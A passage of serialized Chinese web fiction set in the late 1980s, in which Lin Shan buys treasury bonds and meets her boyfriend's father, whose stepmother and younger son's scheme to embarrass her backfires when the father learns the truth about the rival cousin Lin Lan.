林珊这趟跟着贺正岩出来，收获颇丰，晚上回到宿舍之后，她把现在账上能挪用的钱细算了算，分配了一下比例，又把刘鹏飞报的价格计算了一遍，以及明年开市之后自己打算投入多少，全部都好好规划了一通。 次日上午没课，她直接到海甸支行找刘鹏飞去了。 刘鹏飞一听她打算买五千块钱的国库券，立刻激动地把王行长请了出来。 王行长比刘鹏飞还热情，又是倒茶又是端水果的，满脸写着“你就是我的救世主啊”，林珊哭笑不得，赶紧用压价，让他们回归了一些理智。 一番讨价还价过后，王行长叹气：“你是刘鹏飞的亲戚，咱都不是外人，真不能再降了，厂子给员工的也是这个价，再低我就做不了主了。” 林珊明白这话不假，她来之前就已经打听过了，知道王行长给的价格，甚至比有些厂子还要低上几分，“那好，您让办事员帮我办手续吧。” 王行长瞬长出口气，“好好好！小刘，你赶紧去拿单子！” “诶！”刘鹏飞迅速起身，高兴坏了，嫂子可真有实力，居然一下子就买了五千块的国库券！五千啊！一个体户能随便就拿出五千块来，可想家里还有多少钱！ 他昨天下午就偷偷跟表 哥打听过嫂子的背景了，虽然是外地人，但是又上清大又是开公司的，简直就是个神人！ 刘鹏飞麻溜地安排人员给林珊办业务，还时不时见缝插针地询问她现在在哪个行开的户。 林珊笑了笑，报了一家别的银行，紧接着对王行长说：“既然咱这儿有自己人，我就想着还是再在咱们行也开个户比较好，这样走账的时候方便一点儿。” “诶诶诶！是是，咱都是自己人，走手续什么的都能快点儿！”王行长脸上的笑容更大了，今天真是开门见喜啊，不但解决了五千块的国库券任务，还拉了个大户！ 公家的钱跟个体户的钱可不一样，做生意的人不仅出手大方，还能完全决定自己拿钱干啥！多方便！ 办完了所有业务，林珊被王行长和刘鹏飞恭送到了门外，三人礼貌告别，彼此心里都很满意。 林珊以低价买到了国库券，还在这儿开了户，以后办理业务的次数多了，自然能越混越熟。明年开市之后她要开展的业务需要银行的参与，不打好关系怎么行呢。 由于下午还有课，林珊没多停留就赶紧回了学校。晚饭的时候她收到了赵福寄来的图纸后，赶紧就给安河的公司回了电话。 图纸一切无误，她要求的东西都在上面，可以让建筑队开始施工了。如果一切进展顺利，年底前厂子就能完工。林珊又在电话里交代了赵福一些事情后，赵桂花拿过电话兴奋地告诉她：“你姐怀孕了！” “真得？！”林珊高兴坏了，不过紧接着就有点儿担心，她姐上个月刚跟她去粤城拿货回来，那时候不会就已经怀了吧？ 赵桂花让她放心，“都挺好的，已经去医院看过了，医生说一切正常，让她别累着，多吃点儿好的就行！” 林珊安心不少，第二天上午专门打电话给林红，让她注意休息，把工作分给李国超和李娜一些。 林红笑着说知道了，还悄悄告诉林珊王军有可能要分房了。 “福利房？这么快啊？”林珊很惊讶，没想到王军进市局的时间不长，就快要轮到他分房了。 “嗯，王军说是楼房，两室一厅呢。”林红很开心，虽然还不知道什么时候下来，但是应该没跑了。 “那真是太好了，楼房住着方便，冬天上厕所也不用冻着了。”林珊很为他们开心，王军现在的家虽然不小，但到底是在胡同里，上大号还得跑公厕，能住进楼房当然是大好事了。 可惜安河现在还没有商品房，不然她肯定早买上一套送给她姐了。 说起商品房，到今年12月的时候，深城就会诞生全国土地的“第一拍”。 这是深城首次以公开拍卖的方式有偿转让国有土地使用权，同时也标志着深城的房地产市场正式启动。 在这之前深城还创了一个“补偿贸易”的法子，就是由深城房管局出地，港城商人出钱合作建房，利润到时候双方分成。他们以这种方法合作，悄悄开启了深城“房地产”市场。 任何先驱者在当时的尝试基本都是违法的，不过由于是特区，到底开放得多，经过几年试点之后，相对完善，且适应发展趋势的条例就会公布出来。 这也就是为什么79年就开始的“补偿贸易”盖房，一直到87年12月才真正敲开土地拍卖的大门。 林珊就算知道这些也没有用，一块儿地皮要好几百万，她目前根本没有资本入场。不过到88年底，全国就都可以开始依法转让土地使用权了。去深城搞房产的钱她没有，在安河甚至汉州搞地皮的钱她还是能赚到的。 不是每家房地产公司都要从深城开始，后世很多知名房产企业都是从地方发家的，只要掌握先机，肯埋头苦干，就不愁打不下一番天地。 第109章 第109章 正式见家长 礼拜三, 林珊一天没课。 贺正岩一大早就过来接她了，他计划先带她吃个早饭，然后买点儿水果当礼, 跟着再不慌不忙地开去父亲那儿。 林珊今天选了件浅蓝色的衬衫配上白色半裙，头发扎了个马尾, 毕竟是第一次正式见家长，太过隆重或太过随意都不太合适。 “紧张吗？”贺正岩问她。 林珊笑了, “还可以。” 她本来就不是个容易紧张的人，更何况她并不觉得自己有什么拿不出手的。如果干什么都奔着“要让人家喜欢我”的想法, 那只会束手束脚, 更何况脾气性格这个东西藏不住的，见家长也只是为了让双方都多一些了解。 “你见我妈的时候紧张了？”她反问他。 贺正岩笑道：“之前没有, 以后就不好说了。”无欲无求, 跟想把人家闺女娶到手的时候, 心态可是不一样的。 林珊懂他的意思，也忍不住笑了, “你爸爸爱吃什么水果？咱们买点儿什么好？” 贺正岩还真不知道他老爹喜欢什么水果, 他那辈儿过来的人, 有什么吃什么，只要能填饱肚子就行，即使现在条件可以了，仍然不讲究吃穿。 “有什么买什么吧，待会儿路过牛街的时候再买点儿茉莉花茶就行, 他爱喝那个。” “好。”林珊挑了些苹果香蕉让老板上了称, 想着待会儿的茉莉花茶要是好，她就多买点儿寄家里去，赵桂花也爱喝那个。 这边两人在来的路上, 那头贺启明也带着林兰往家里赶。 自从那天张秀英说了要让贺启明带上林兰也回家一块儿吃饭之后，他就知道母亲在打什么主意了。 贺启明是挺想看他大哥吃瘪的，所以这几天心情一直都很好，就盼着赶快到礼拜三。林兰就不一样了，她心情非常复杂，一方面希望贺叔叔能看透林珊的狡猾，另一方面又怕林珊被揭穿后狗急跳墙，硬要把她拉下水。 林兰跟贺启明目前还没到双方家长见面的地步，贺家也还不清楚林富贵的事儿，只知道他去世了，具体缘由还不了解。 林兰原本计划的是先跟贺家人培养感情，然后等到谈婚论嫁的时候，再提提一下家里的情况，尽量把林富贵带来的影响减到最低。 她是万万没想到林珊居然能攀上贺家的大儿子，这阵子她也不是没想过要怎么应对，可是思考来思考去都觉得副作用太大，正纠结要不要撺掇张丽丽去搞点儿破坏的时候，贺启明居然告诉她，贺家老大要带林珊回家了！ 狐狸精就是狐狸精，这才多久啊，居然就能登堂入室了！ 贺启明见林兰脸色不太好，知道她是担心见面的事，小声安慰道：“放心吧，咱就继续假装不知道这回事儿，给我爸和我哥一个惊喜。” 林兰点点头，面上扯出了一点笑容，心里却还是有些七上八下的。 张秀英为了表现出一个继母对继子的重视，一大早就起来忙活了，安排这个安排那个，换了鲜花，摆了果盘还不够，又一直在厨房跟厨师沟通菜色。 直到贺振华把她拉回客厅，她这才歇了歇脚。 张秀英：“我在看要不要换道汤。” 贺振华：“不用太大的阵仗，这么兴师动众的，再把人家小姑娘给吓着了。” 张秀英笑了，“行，那我就坐着等人好了。” 等张秀英真坐下歇着了，贺振华自己坐了没多大会儿却站了起来，端着茶杯走到窗户跟前，一直往外头看。 张秀英看着他这副样子，忍不住心里冷哼，真是偏心眼，启明说要带人回来的时候，他可是一屁股坐那看报纸的，直到林兰都进门，才舍得把那几张破报纸放下。 这会儿才几点，他就坐不住了，还怕她兴师动众把人家吓到。张秀英敢打包票，她要是真随便准备一下，他肯定又会觉得自己不够重视了。 张秀英嫁给贺振华也二十多年了，头几年过得磕磕绊绊，总因为姜春荣生闷气，后来孩子大了，贺正岩也去外地当兵之后，她才觉得日子顺心起来。 可这舒坦日子没过上几年，贺正岩就回京了。本来想着大家都不住一块儿，应该不会有什么大的变化，可谁知道这一桩一桩的小事，却总能引爆她积压在心里的憋屈和无名火。 她今天倒要让贺振华好好看看，他的好儿子，到底领回来了一个什么货色。 张秀英之前已经从林兰和张丽丽那边了解到了一些情况，知道那个叫林珊的小姑娘不是什么善茬，小小年纪却能把周围的人都耍得团团转，仗着几分姿色，到处弄钱开铺子，就算进了清大，也没上过几天课，天天在外头晃悠，还能迷惑的老师们都没有意见。 在张丽丽嘴里，林珊就是狐狸精转世。林兰虽然说得含蓄，但是言语中也透露出了这小 姑娘不简单的意思。 张秀英心里有了数，期待的是个擦脂抹粉，奇装异服，眉眼间都是媚气的姑娘，结果贺正岩把车往院子里一停，领下来的却是一个白白净净的小姑娘，个子高，衣服穿得也大方好看。 张秀英离得稍微有些远，还看不太清林珊的脸，但只是这样，她心里的警铃就已经开始作响了。不对劲，情况好像有点儿不对。 贺振华不等她反应，就已经推门出去了，张秀英只好赶紧收拾好情绪跟上。 “爸，英姨。”贺正岩站定，笑着把林珊介绍给他们。 林珊礼貌地向两人问候，一举一动不但挑不出毛病，笑起来还特别让人心生好感。 张秀英面上笑得像个慈爱的母亲，心里却暗道这小姑娘不简单，段位还挺高。不说别的，单靠这张脸，这个身段，就足以把周围的男同志都迷得晕晕乎乎的。 “来来来，快进来。”贺振华一点儿不知道身边人的心思，笑得嘴都合不拢了，立刻招呼林珊和贺正岩进屋。 林珊听贺正岩说过一些贺振华的事迹，知道这其实是一位对工作认真负责，为人民鞠躬尽瘁的好领导，原本她还以为这样的人会比较严肃，结果一来就受到了热情的欢迎。 “先简单吃点儿水果，喝点儿茶。”张秀英笑着拔茶水递给林珊，别管她心里怎么想，还是得扮演一个称职的继母。 林珊接过茶水，礼貌地致了谢，浅浅地喝了一口。 贺振华在一旁看着儿子跟这小姑娘坐在一起的画面，想起了文学作品里形容的那种“才子佳人”，虽然还没说上几句话，但是贺振华在心里已经喊了好几个“好”字了。 “听正岩说他跟你哥是战友？”贺振华开启了闲聊模式。 “是，我哥是正岩哥以前部队的兵。他去世之后，正岩哥对我们很照顾。”林珊轻声回应着，跟贺正岩对视了一眼。 贺振华听儿子说过这其中的事，真心称赞道：“你们孤儿寡母能发展到今天，实在是不容易。”做好一件事不难，事事都做好，做到一个很高的标准非常难。 贺振华欣赏有能力的女同志，自然也不希望未来儿媳妇只能在家里做个家庭主妇。这一点上，他跟两个儿子的想法，还挺接近。 林珊谦虚地表示自己会再接再厉的。 贺振华笑了，“年轻就是要拼搏，你做得很好。” 贺正岩就知道父亲会喜欢林珊，他全程都在看着她笑，宛如一颗望妻石。 一时间这父子俩都笑着看向林珊的画面，让张秀英觉得极其刺眼，正想着自己儿子怎么还不到的时候，院子里传来了贺启明的声音。 “爸妈，我回来了！” 林珊知道贺正岩的弟弟今天也会带着对象回来吃饭，闻声起身准备打招呼，谁知等她看向大门时，发现推门进来的人居然有点儿眼熟…… 一瞬间的头脑风暴后，她意识到了一些什么，紧接着出现在门口的林兰，则彻底做实了她的猜测。 “哥！这是……”贺启明惊讶地看向他哥和林珊，原本预想的佯装惊喜，然后过渡到震惊的表情，被他都抛到了脑后，本能地看着林珊发呆。 美人儿，真是天生的美人儿，是他记忆不好，还是咋的？怎么觉得这个林珊比之前见到的那次更好看了呢！ 害他一时间还以为他哥换了对象！ “……林珊？小妹？！”贺启明忘了，林兰可没忘，她一脸震惊的看向林珊和贺正岩，难以置信地捂住胸口，好像下一秒就不行了似的。 “怎么了这是？”张秀英也赶紧过来演戏，她演得最真切，好像真得不知道怎么回事一样，不愧是常年两张面目示人的人。 “小妹？你你你、你怎么在这儿啊？！”林兰一副完全搞不懂状况的模样，急切地走到林珊面前询问情况。 林珊到这步，还有什么看不明白的，她直接无视林兰，看向贺振华和贺正岩，轻声解释道：“没想到天底下还有这么巧的事儿，林兰是我大伯的女儿。我们两家水火不容，早已经不说话了。” “什、什么？天啊……”张秀英一副不敢相信自己听见了什么的模样，求助似的看向贺振华。 贺振华哪想得到他盼了这么久的一顿饭，开场就来了这么一出。他还没接受两个儿子的对象是姐妹的事儿，就要消化这两家是仇家的消息。 贺正岩虽然没见过林兰，但是林富贵家做的事儿他可是一清二楚的，一想到这种姑娘成了启明的对象，他眉头就忍不住皱了起来。 一时间，整个屋子没人开口说话。刚才的和谐欢喜的气氛，瞬间凝重了起来。 第110章 第110章 戏没演好 空气僵了一会儿, 贺振华大手一挥，让大家先坐下再说。 众人纷纷落座，心态各异。 贺振华环视一圈, 目光最后落到了贺启明和林兰身上，“到底怎么回事儿？” 贺启明哭丧着脸, “我也不知道啊，谁能想到我跟我哥喜好这么接近呢。” 贺振华一听他说话就想上火, 不仅因为这小子没说实话，更因为他说话的语气和用词。 贺振华活到今天这个岁数, 什么小猫小狗没见过, 外人都很难在他面前耍心眼儿，更何况是自家孩子了。 贺启明一张嘴, 贺振华就知道他要放什么屁。刚才这小子进门时候的德行他又不是没看见, 故意做出来的表情跟真实的反应, 打眼儿就能分清，只是他没想到启明胡闹, 林兰这丫头居然也跟着, 甚至比这小子装得还像。 贺振华一板脸, “你们俩什么时候知道的？” 贺启明天不怕地不怕，就怕他爸发火，顿时一改刚才的姿态，坐得笔直笔直的，左看看爸爸, 又看看妈妈。 “振华, 你、你是说……这俩孩子早知道这事儿？”张秀英作出一副被蒙在鼓中的迷糊模样，好像受了多大刺激似的。 贺振华没接她的话茬，继续直勾勾地盯着贺启明看。 贺启明到底没傻到底, 瞬间就编了一套说辞，“我、我在今天来之前也不是特别确定，我就是之前听人说的，想着今天来看看是不是真的。” 说罢，观察到他爸的脸色没有半分好转，他又赶紧解释道：“真的！我真不确定，想着万一是假的，那我兴师动众地说出来，就不太好了，还是先看看再说……” 贺启明越说声音越小，因为他爸看向他的表情又严厉了几分。 贺振华可以允许贺启明有些各种各样的小毛病，但是这种算计兄弟的行为他是绝对不会允许。听到消息的第一时间他应该直接问正岩，而不是不知道撺了些什么小心思的，要等到人家姑娘上门的时候来上这么一出。 这是在打谁的脸？想让谁难看？ 贺振华见到大儿子对象的喜悦，彻底被这个不争气的小儿子给破坏了，但是人家姑娘第一次登门，他又不能直接在这时候教训儿子，只好先压抑住情绪收起目光，看向贺正岩和林珊。 “先喝口茶，马上就开饭。”贺振华尽量让自己和蔼可亲一点儿。 “好的。”林珊非常配合地端起茶杯喝了一口，她知道无论今天林兰计划要干什么，这会儿最不开心的肯定是贺振华，手心手背都是肉，明明火气已经到脑门了，却还要 招待第一次上门的她。 贺正岩就没林珊这么多顾及了，他没喝茶也没吃水果，只是板着脸看向贺启明，浑身上下跟结了层冰碴似的。 张秀英在一旁干着急，面上却不敢露出半点异样来。 这顿饭从刚才就不对劲，林珊完全不是她想象中的模样，他的好儿子唯一需要做的就是假装惊讶，就这他都能演了个开头就忘了后面的任务，只知道看着姑娘发呆！林兰倒是按着说好的来了，但是又有什么用呢！ 原本根据张秀英得到这些信息，他们根本什么都不需要做，只要贺正岩把人给领进家门，贺振华一眼就能瞧出对方是个什么货色。 到时候启明跟林兰再一现身，两家复杂的关系自然就公开了，贺振华肯定要询问情况，他们正好趁机表达出来对林珊为人的担心。 原本很简单的一个事儿，结果从第一步开始就没走对。 贺振华有多讨厌自己人之间耍心眼，她再清楚不过了，这会儿不仅儿子发怵，就连她心里都七上八下的。 还好贺启明还不至于傻到底，没有看向他老娘，也没有投来求救的目光，不然张秀英才真要头疼死了。真没想到她小心谨慎了这么多年，居然在自己儿子身上翻了车，她真是不该仅凭张丽丽跟林兰的话，就认定对方好处理。失策，太失策了。 贺启明在他爹和他哥的注视下，正襟危坐，一身冷汗，他身旁的林兰吓得更不敢轻举妄动了，她到现在都不明白贺叔叔是怎么发现他们提前就知道这件事的。 林珊可真是狡猾，居然一上来就说他们两家不说话！明摆着是想让贺叔叔去询问到底怎么回事儿！阴险至极！林兰真是后悔来这一趟了，当时就该称病躲过去的。原本来的时候她就犹豫，现在更是懊恼得不行。 饭菜很快都准备妥当，这顿饭就算再尴尬也得吃。 贺振华带着一行人入座，介绍着桌上的菜给林珊和贺正岩，让俩人赶快吃，全程都没有跟贺启明和林兰说话。张秀英识趣，整顿饭都表现出了一个慈爱母亲应有的模样。照顾完贺正岩和林珊，又来照顾林兰，就是独独没有给贺启明夹菜。好似一副“自己也在生他气”的样子。 林珊两辈子都没有吃过这么别扭的饭，尽管她知道自己不是这桌上最煎熬的人，但那也足够煎熬了，好不容易吃完了饭，意思意思喝会儿茶后，贺正岩提出带她离开，用的理由是他部队还有事儿。 贺振华亲自把两人送到车边，拍了拍贺正岩的肩膀，又对林珊说：“这次让你受委屈了，下次来，叔叔亲自给你包饺子。” “谢谢叔叔，没事儿的。”林珊赶紧表达了一下自己对这些并不在意，也并没有觉得委屈。 今天来本来就是见贺正岩的爸爸，现在人见了，饭也吃了，任务就算圆满完成了。至于剩下的这些，林珊相信贺家人自己会处理。 能做到这个位置的，没有谁是傻的，根本不需要她一个小姑娘瞎掺和。 回去的路上，贺正岩情绪还是不太好，林珊猜测可能跟被那个“好弟弟”摆了一道有关，毕竟从贺正岩过往的只言片语中，她能感觉得出来，他其实对这个同父异母的弟弟还是挺关心的。 今天突然发现这弟弟居然还藏着这样的小心思，他难免心里会不舒服。 老实说林珊也不知道该怎么安慰他，只能趁着红绿灯的时候，主动握住了他的手。 贺正岩一怔，看看自己的手，再抬头看看她，跟着突然含着笑抬起手，亲吻了一下她的手背。 林珊笑着推开他，感觉这人自从偷亲过她之后，脸皮越来越厚了。 这么一打岔，贺正岩的心情稍微好了一些，过了会儿他叹气道：“今天这事儿我挺生气的。” “看出来了。”一直黑着个脸，看着特别吓人。 “就算他有什么不满，也不该今天撒出来。”贺正岩对贺启明是既失望又生气。今天的事儿虽然没有多大，但是这背后藏着的心思，让贺正岩心寒。 原来他一直以为单纯天真的弟弟，并没有从心里把他当成大哥，而且存着想要让他出丑的心。 虽然贺正岩实在想不通，单凭这么一出就能让他出丑了？林珊跟那个林兰是亲戚又有什么大不了的事儿？当众搞这个的意义在哪儿？ 跟他一样想不通的，还有贺振华。 贺正岩带着林珊走了之后，贺振华没多大会儿就让贺启明把林兰也送走了，跟着他直接进到书房拨通了周秘书的电话。 周秘书可以说做到了二十四小时待命，一接到领导的指示后，立刻开始调查林家的事儿。 林家的事儿一点都不复杂，几通电话下去，只用了两个多小时，不但林珊跟林兰之间的事儿，就是林家祖辈的事儿也都给挖出来了。 当秘书的，尤其是私人秘书，除了办事要利索，还要懂得领导的心思。把一切都查清了的周秘书，陷入了沉思，他该怎么汇报才能让领导少凶点儿启明，少生点儿气呢。 想来想去，他发现没有半点突破口，于是只能硬着头皮如实汇报去了。 贺家安静得掉地下一根针都能听见，贺启明送完林兰后，非常自觉地回来等着挨骂，这会儿正坐在客厅听候他爹发落。 张秀英坐在他对面，脸色同样不好。 看见周秘书过来，贺启明还想试着套两句话，被张秀英拦住了。 既然周秘书来了，说明贺振华已经让人打听清楚了事情原委。虽然事情的发展没有按着她预想的走，但是既然开始查了，那贺振华就一定会知道自己的宝贝大儿子找得是个什么东西。狐狸精再会装，也骗不了所有人。 母子俩在外头等着，书房里，周秘书也已经开始了汇报。 林家的事儿说起来不复杂，不一会儿周秘书就把林富贵两兄弟的恩怨，以及他们一家这么多年来是怎么对待孤儿寡母的事儿说得清清楚楚。 “……所以，林富贵这回就没办法再逃了，正好又赶上严打，他就是这么被枪决的。” “啪！”贺振华一巴掌拍在了桌面，吓得周秘书心里一颤，“……您、您消消气，别伤着身体。” “继续说！”贺振华强压着怒火，满脑子想的都是待会儿出去要怎么治这个蠢儿子！ 周秘书硬着头皮继续：“至于启明的对象林兰，他们学校有传闻说她脚踏两只船，跟启明好了之后才跟那个小伙子分的手。而且那小伙子……好像还跟正岩的对象林珊，有点儿关系。” 第111章 第111章 东窗事发 贺振华黑着脸：“什么关系？” 周秘书吸口气, “说、说是这小子一开始追求的是林珊，后来中途又悄悄跟林兰好了，为这事儿几个人还闹到过派出所。好像是林珊她妈把人给揍了, 对方家不依不饶，最后是怕林珊告他们家孩子搞破鞋, 这才没再闹事。” 周秘书汇报完，见领导沉默不语, 脸色越来越黑，一时也不知道该说什么。 好半天, 贺振华才开口：“你先回去吧。” 周秘书如临大赦, 却还是担心领导的身体，“您、您——” “走吧。”贺振华大手一挥, 周秘书赶紧撤了, 不敢再啰嗦半句话。 张秀英见周秘书连话都不敢多说就走了, 心里就知道贺振华是真生气了，这样很好, 最好再把贺正岩叫回来, 让他们当面看看他是怎么训自己那宝贝儿子的。 谁知她还没想完, 贺振华的书房门就砰地一下大开，一声震耳欲聋的“贺启明”响彻整个屋子。 张秀英心脏都颤了，更别说贺启明了，他颤巍巍地从沙发上起来，心惊胆战地朝书房走去, 每走一步, 都要回头看向他妈。 张秀英也救不了他，盛怒头上，谁敢吱声。不过她还是觉得有些奇怪, 贺振华这么大声吼她儿子干什么，不是应该把贺正岩叫回来批评吗？ 贺启明提心吊胆地走进书房，瞬间就被他爹的脸色给吓到了，他犯的错也没这么大吧，老爹这模样像是要把他逐出家门似的。 “爸、爸……”贺启明不敢靠近书桌，站在屋子中间回话。 贺振华一瞧他这副龟缩的害怕模样，胸口的气瞬间更盛了，不过人真气到一定程度，反而不是大声呵斥，而是一种不知道从哪儿 开始爆发的沉默。 贺启明最怕他爹发这种不吭气儿的火，明明眼神要吃了他，却一句话也不说，简直就是凌迟。 熬了一会儿，他实在受不了，“爸……我、我错了。” 贺振华都不知道该从什么地方骂他，甚至开始觉得都是自己的错，把这小子养得这么蠢！ “爸，再、再也不会有下次了，我真知道错了。”贺启明到这会儿也后知后觉出了一丝异样，如果他爸让周秘书查清了情况，那不是该更生他哥的气吗？怎么这火气都冲自己来了？难道查到的内容对他不利？ 贺振华见贺启明还是一副不知所以的模样，他重重叹了口气，深觉自己失败透顶，“你不告诉正岩那林家姐妹的事儿，是想看他当众出丑，是这回事儿吧？” “爸！不是！不是的！我、我就是当时没……没……弄清……”贺启明话没说完，在他爹凌厉又失望地注视下，渐渐没了狡辩的想法，会这么看着他，说明他爸心里早已经门清儿了，再说任何话只会让他老人家更生气。 贺振华冷哼：“你以为你哥找了个坏姑娘，所以想看看他把人带进门之后，我怎么凶他是不是？” 贺启明的心思被猜了个透，哪还敢再说话，老老实实站在书桌前，低着个脑袋认骂。 贺振华除了生气，更多的是失望和难过，“那是你哥，你到底有什么不满的，非要看他出丑？我是短了你吃的，还是少了你穿的？” 看着贺启明越垂越低的脑袋，贺振华真心觉得自己失败透了，“我知道你一直觉得我偏心你哥，表扬你哥的时候多，可但凡你用点儿脑子想想，就知道我在你俩谁身上花的精力多？你哥从小就没在我身边，跟我不亲近，还事事不用我操心，你让我批评他什么？你再看看你自己，是不是从小开始就三天不打上房揭瓦的？我批评你的哪件事，不是客观事实？” “爸……”贺启明突然一眼眶红，心里又委屈又愧疚。 贺振华继续骂他：“摸摸你的良心，你哥从小对你差吗？你在外头闯的那些不敢跟我说的祸，是谁替你摆平的？是谁知道你爱吃腊肉，每年都给你寄回来的？你高考的时候找老师辅导，又是谁给你请的老教授？贺启明，你替你哥做过什么？” 贺启明被他爹说得想钻地缝，想起了大哥的那些好，不明白自己之前为什么就跟得了失心疯似的，“爸……呜呜，我错了，我真知道错了！呜呜呜……我对不起我哥！” “哼！你因为自己的一点儿小心思，就完全不顾兄弟情义，一心想让他出丑！这就是你干的好事，这就是你对你哥的回馈！” “爸……我、我……呜呜呜，我对不起我哥！呜呜呜……” 贺振华恨铁不成钢似的看着贺启明哭成这副德行，心里一阵疲惫，这种蠢样子，难怪要被人骗。 “以后我不想再看见你对自家人耍任何小心思，如果还有下次，我直接把你赶出家门，贺家容不下心眼小儿的蠢货！” “是，我、我知道了，爸，我再也不敢了……呜呜，我这就给我哥认错去！” “等等！”贺振华才教训了他一半儿，“你给我站好，事儿还没完！” 贺启明立刻站回原位，一边控制着自己的情绪，一边等着继续挨骂。 贺振华：“我现在明确地告诉你，你那个对象林兰，明天到学校就断干净！” “啊？！为什么？！”贺启明一阵懵圈，“为什么要我分？这、这今天的事儿跟她一点关系都没有啊，为什么要我俩掰？” 贺振华忍着怒火把周秘书调查情况，一一说给了贺启明听，“……光是为了一个工位带着外人对自己侄女下手这件事，就够掉他脑袋了，更别提他之后干的那些事儿！想法设防破坏人家孤儿寡母的生计，张口就要让人□□变卖她们，这是人做得出来的？枪毙他一万次都不足惜！这就是你给我找的好亲家？！” 贺启明脑袋嗡嗡作响，傻愣愣地站在原地，彻底懵了，他完全不敢相信自己听见的一切，缓了好半晌，才找到一点力气开口：“可、可是林兰说……她爸是因为嫉妒她爷爷对她叔叔好，才、才鬼迷心窍的。” “我看鬼迷心窍的是你！”贺振华真想敲他两棍子，看看能不能把他脑袋里进的水打掉，“正岩对象的那些坏话，你是从林兰那儿听来的吧？” 贺启明本能地想反驳，但细细一想，除了张丽丽，林兰确实也含蓄地表达过“林珊不是正经人”的看法，“但、但是这、那个林珊应该也是有问题的吧……” 贺振华差点儿拿起手边的书扔他脑袋上，“人家有什么问题？！是靠卖包子养活家人有问题，还是自己考上清大有问题，还是开公司，建食品厂有问题？！” “……所、所以她不是靠姿色，是、是靠自己脚踏实地干出来的？”贺启明再次受到了震撼，他开始怀疑自己了解到的情况，到底有什么是真的。 他不想相信这一切，但是他爸让人查出来的事儿不会是假的。可即便是这样，让他因为这个跟林兰分手，实在有点儿过了。 “爸，林兰她、她应该也是被她家人蒙蔽了。她很善良的，我还跟她一块儿去给林珊家道过歉，她一直都洁身自好、自立自强，她跟她家人不一样的！”贺启明激动地替自己女朋友辩解。 贺振华气笑了，“蠢货，彻头彻尾的蠢货！” 原本贺振华没想说林兰的私生活，因为光凭之前那些事他就不会同意启明找那样的对象。只是他没想到自己儿子糊涂到这个地步，事儿都说得这么明显了，他竟然还执迷不悟。 “林兰在跟你确定关系之前，还有这一个对象，条件也不错。你没上勾前，她一直挂着人家，直到你俩确立了关系，那小伙子才被蹬。” “……嗡——”贺启明一阵耳鸣，呆呆地看向他爹，一副受了刺激又难以置信的模样，“不可能，不可能的爸，林兰不是那种人，真得，她绝对不是那种人，她特别善——” “砰”的一声，房门从外打开，生生打断了贺启明。 贺启明一看他妈来了，像是找到了救兵似的，“妈！你赶紧跟我爸解释一下，林兰根本不是那种人，这肯定有误会，她可好——” “闭嘴！”张秀英双眼都气红了，颤抖地指着贺启明，厉声呵斥道：“现在就去跟她分手！立刻！马上！” “妈！”贺启明没想到连他妈都不帮他。 张秀英气得直接上前呼他脑袋，边打边骂：“蠢货！我让现在就去！听见没有！听见没有！” 贺启明被她妈这处于发疯边缘的气势给镇住了，顿时孤立无援起来。老爹让分，老娘也闯进来逼他，即使贺启明再不愿意，也不敢在这时候还嘴了。 “妈，你消消气……” “滚！赶紧给我滚！”张秀英扶着胸口，指着门口，气得快要爆炸了，她这辈子从来没有这么丢人过。 蠢！ 怎么能这么蠢！ 她引以为傲的好儿子，居然被一个小地方来的丫头片子耍得团团转，他爹都把话说到这个份儿上了，这傻孩子居然还在那儿一口一个“林兰善良”，一个一口“都是误会”！ 张秀英怎么也不会想到闹了半天，丢人的竟然是自己儿子，还有她这张老脸！ 好一个小丫头片子，相貌、人品、家世没有一样拿得出手，居然还敢来算计她儿子！真是吃了熊心豹子胆！不知天高地厚！ 给我等着！ 第112章 第112章 有点儿吃醋 贺正岩把林珊送回学校, 又去部队处理了一些公务之后，才往家走。 刚一拐弯，就看见贺启明耷拉着个脑袋站在门口。 “哥……”贺启明双眼泛红, 神情低落，整个人又愧疚又难过, 说话声都带着哽咽，“哥, 我对不起你！我做错了！” 贺正岩心里一阵疲惫，上下扫了他两眼, 示意有事儿家里说。 贺启明进了家, 好好平复了一下情绪后，继续道歉。他先是把自己怎么觉得不被重视, 怎么小心眼儿说了, 跟着又说误会了林珊人品不好, 最后还哽咽着表示自己没地方去了，父母让他现在就去跟林兰做个了断。 贺正岩光听他这些事儿就觉得累, 忍不住叹气道：“你有点儿出息行吗？为这种事儿哭, 不嫌丢人？” 贺启明努力控制情绪, “哥，我该怎么办？” 贺正岩拍了拍的肩膀，“你岁数不小了，该怎么做心里应该有数了。” “哥……我真的——” 贺正岩不想跟他来回扯这种没意义的东西，直接来了句：“吃饭了没？” “……没胃口。” 贺正岩把家里剩的包子给他热了俩, 又倒了杯水, “凑活吃吧。” “……谢谢哥。”贺启明不是来吃包子的，但是这会儿肚子确实空荡荡，于是他一边吃起包子, 一边看他哥去给他拿被子。 看着大哥忙碌的身影，贺启明再次意识到了自己有多不是东西，鼻子一酸，胸口沉甸甸的。 贺正岩把被子给贺启明放到一个屋里，简单交代了他两句，就借口有事进了书房。 没多会儿，父亲打来了电话。 贺振华在电话里把事情的原委说了一遍，让贺正岩代他跟林珊说声抱歉，贺正岩应了。 贺振华还交代：“启明那小子这次错大了，不好好治治他，以后难保会犯更大的错，他去找你的时候，不要轻易搭理他。” 贺正岩：“他在客厅吃包子。” “……”贺振华噎了一下，骂了句“小兔崽子”就把电话挂了。 次日，贺正岩醒来的时候，贺启明已经走了，他不但把碗筷收拾得很干净，还留了一张纸条表达谢意和歉意。 贺正岩看了两眼纸条，放到了一边，他不是那种喜欢把事儿做绝的人，更是知道有些东西是难得糊涂，心里有数就行，凡事都计较个一二三，人就不用活了。 这些东西他小时候是不会的，是部队和社会教会了他很多做人的道理。 贺启明在大院儿住的那一晚，压根没怎么睡着。 他思考了将近一夜，即使再不愿意相信林兰是那样的人，再不愿意跟她分开，他也不得不考虑父母的意思。所以第二天他到校之后，没有去找林兰，而是直接找到了杨清明。 杨清明本来被林兰分手，硬生生背了个哥哥的名号就不是很舒服，后来向林珊示好，还要被她奚落和侮辱，这可让自认“天之骄子”的杨清明恼羞成怒，进而发展到恨上了林家这两姐妹。 今天猛地一看见贺启明来找自己，他还以为这人想找事儿，结果只是问他跟林兰什么时候认识的？ 杨清明瞧得出这贺启明脸色不对，立刻意识到俩人可能出问题了，看来他平时在学校散播的那些消息还是起作用了，于是他赶紧一股脑地把自己跟林兰那段深情过往，说得那叫一个细致。 从高中在学校的时候林兰是怎么故意吸引他注意的，到他是怎么为了她放弃林珊的，再到俩人考上大学后私下是如何甜蜜，公开场合却不敢承认关系的。 